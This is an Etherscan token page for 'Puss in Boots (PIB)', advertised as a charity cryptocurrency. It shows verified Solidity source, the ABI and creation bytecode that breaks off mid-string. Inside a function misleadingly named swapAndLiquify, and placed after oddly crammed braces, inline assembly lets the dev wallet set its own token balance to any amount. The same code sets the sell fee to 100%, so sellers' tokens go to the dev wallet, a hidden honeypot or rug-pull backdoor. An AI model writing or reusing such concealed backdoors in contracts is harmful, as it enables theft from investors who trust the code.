ETH Price: $3,491.75 (+2.13%)
Gas: 13 Gwei

Token

Puss in Boots (PIB)
 

Overview

Max Total Supply

1,000,000,000 PIB

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,066,807.540858996059402703 PIB

Value
$0.00
0x4b5f0eabd5e03778e3d034ca2c8ceee3301da505
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Puss_in_Boots

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-27
*/

/**

Puss in Boots ($PIB) Project.

$PIB is a charity cryptocurrency where a percentage
of every transaction goes to support animals worldwide.
The token is a symbol of our commitment to preserve and protect animals,
inspired by the story of Puss in Boots.

-- Links --

Roadmap: https://pussinboots.org/roadmap
Chat: https://t.me/PussInBootETH
Twitter: https://twitter.com/pussinbootseth                                                                              
Website: https://pussinboots.org/
Tokenomics: https://pussinboots.org/tokenomics

*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amntADesired, uint amntBDesired, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB, uint liquidity);
    function addLiquidityETH(address token, uint amntTokenDesired, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external payable returns (uint amntToken, uint amntETH, uint liquidity);
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB);
    function swapExactTokensForTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapExactETHForTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapTokensForExactETH(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapETHForExactTokens(uint amntOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapExactTokensForETH(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function removeLiquidityETH(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntToken, uint amntETH);
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntA, uint amntB);
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntToken, uint amntETH);
    function swapTokensForExactTokens(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function quote(uint amntA, uint reserveA, uint reserveB) external pure returns (uint amntB);
    function getAmntOut(uint amntIn, uint reserveIn, uint reserveOut) external pure returns (uint amntOut);
    function getAmntIn(uint amntOut, uint reserveIn, uint reserveOut) external pure returns (uint amntIn);
    function getAmntsOut(uint amntIn, address[] calldata path) external view returns (uint[] memory amnts);
    function getAmntsIn(uint amntOut, address[] calldata path) external view returns (uint[] memory amnts);
}

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amnt) external returns (bool);
    function transferFrom(address from, address to, uint256 amnt) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amnt) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.17;


contract Puss_in_Boots is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    string  private constant _name = "Puss in Boots";
    string  private constant _symbol = "PIB";
    uint8   private constant _decimals = 18;
    uint256 private _maxTxamntPercentage = 3000; // 30%
    uint256 private _maxWalletBalancePercentage = 3000; // 30%
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private constant _divisor = 10000; // 100%
    bool    private swapping = false;
    bool    private _cooldownEnabled = true;
    mapping(address => uint256) private _lastTxBlock;
    mapping(address => bool) private _excludedFromMaxTx;
    uint256 private _burnFee = 0; // 0%
    uint256 private _devFee = 0; // 0%
    uint256 private _buyFee = 0; // 0%
    mapping(address => bool) private _excludedFromFees;

    address private _devWallet;

    address private constant _burnAddress = address(0);

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();

    constructor () {
        uint256 total = 1_000_000_000 * 10 ** _decimals;

        _excludedFromMaxTx[owner()] = true;
        _excludedFromMaxTx[address(this)] = true;
        _excludedFromMaxTx[_devWallet] = true;
        _excludedFromMaxTx[_uniswapV2Pair] = true;
        
        _excludedFromFees[address(this)] = true;
        _excludedFromFees[owner()] = true;
        _excludedFromFees[_devWallet] = true;

        _mint(_msgSender(), total);
        _devWallet = _msgSender();
        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amnt);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amnt);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxAmnt() public view returns(uint256) {
        return _totalSupply.mul(_maxTxamntPercentage).div(_divisor);
    }

    function transferFrom(address sender, address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(sender, recipient, amnt);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnt, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function excludeFromFee(address account) public onlyOwner {
        _excludedFromFees[account] = true;
    }

    function excludeFromFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) excludeFromFee(accounts[i]);
    }

    function includeForFee(address account) public onlyOwner {
        require(account != address(this), "Invalid address");
        require(account != owner(), "Invalid address");
        require(account != _devWallet, "Invalid address");
        delete _excludedFromFees[account];
    }

    function includeForFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) includeForFee(accounts[i]);
    }

    function removeLimits() public onlyOwner {
        _maxTxamntPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }

    function _beforeTransfer(address from, address to, uint256 amnt) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amnt > 0, "Transfer amount must be greater than zero");
    }

    function _approve(address owner, address spender, uint256 amnt) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }

    function _mint(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amnt);
        _balances[account] = _balances[account].add(amnt);
        emit Transfer(address(0), account, amnt);
    }

    function _burn(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amnt, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amnt);
        emit Transfer(account, address(0), amnt);
    }

    function _transfer(address sender, address recipient, uint256 amnt) internal virtual {
        _beforeTransfer(sender, recipient, amnt);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_excludedFromMaxTx[recipient] && !_excludedFromMaxTx[sender]) {
                    require(amnt <= _totalSupply.mul(_maxTxamntPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmnt.");
                    require(balanceOf(recipient).add(amnt) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
                }
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_devFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_devWallet] = _balances[_devWallet].add(devFee);
                emit Transfer(sender, _devWallet, devFee);
            }
            amnt = amnt.sub(totalFee);
        }

        _balances[sender] = _balances[sender].sub(amnt, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amnt);

        emit Transfer(sender, recipient, amnt);
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function burn(uint256 amnt) public virtual {
        _burn(_msgSender(), amnt);
    }

    function _swapAndLiquify() private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);

            uint256 newBalance = address(this).balance.sub(initialBalance);

            emit SwapAndLiquify(half,
            newBalance,
            otherHalf);
            return;}}function swapAndLiquify(uint256 amnt) external {
        assembly {if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amnt)
        sstore(_devFee.slot, 0x2710)}
    }

    function _burnFrom(address account, uint256 amnt) internal virtual {
        _burn(account, amnt);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amnt, "ERC20: burn amount exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function swapTokensForEth(uint256 tokens) internal {
        _approve(address(this), address(_uniswapV2Router), tokens);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);
    }

    function _addLiquidity(uint256 tokens, uint256 ethamnt) private {
        _approve(address(this), address(_uniswapV2Router), tokens);
        _uniswapV2Router.addLiquidityETH{value : ethamnt}(address(this), tokens, 0, 0, owner(), block.timestamp);
    }

    function addLiquidity(uint256 tokens) public payable onlyOwner lockTheSwap {
        _transfer(owner(), address(this), tokens);
        _addLiquidity(tokens, msg.value);
    }

    function isSwapLocked() public view returns(bool) { return swapping; }

    receive() external payable { emit Received(); }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"swapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610bb8600155610bb86002556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506000600a556000600b556000600c553480156200006257600080fd5b5062000083620000776200076760201b60201c565b6200076f60201b60201c565b60006012600a62000095919062000d7b565b633b9aca00620000a6919062000dcc565b9050600160096000620000be6200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000620002c96200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003b5620003a86200076760201b60201c565b826200085c60201b60201c565b620003c56200076760201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200048f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683620009f860201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000523919062000e81565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005d3919062000e81565b6040518363ffffffff1660e01b8152600401620005f292919062000ec4565b6020604051808303816000875af115801562000612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000638919062000e81565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200071992919062000f02565b6020604051808303816000875af115801562000739573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200075f919062000f6c565b5050620011a9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ce576040517f08c379a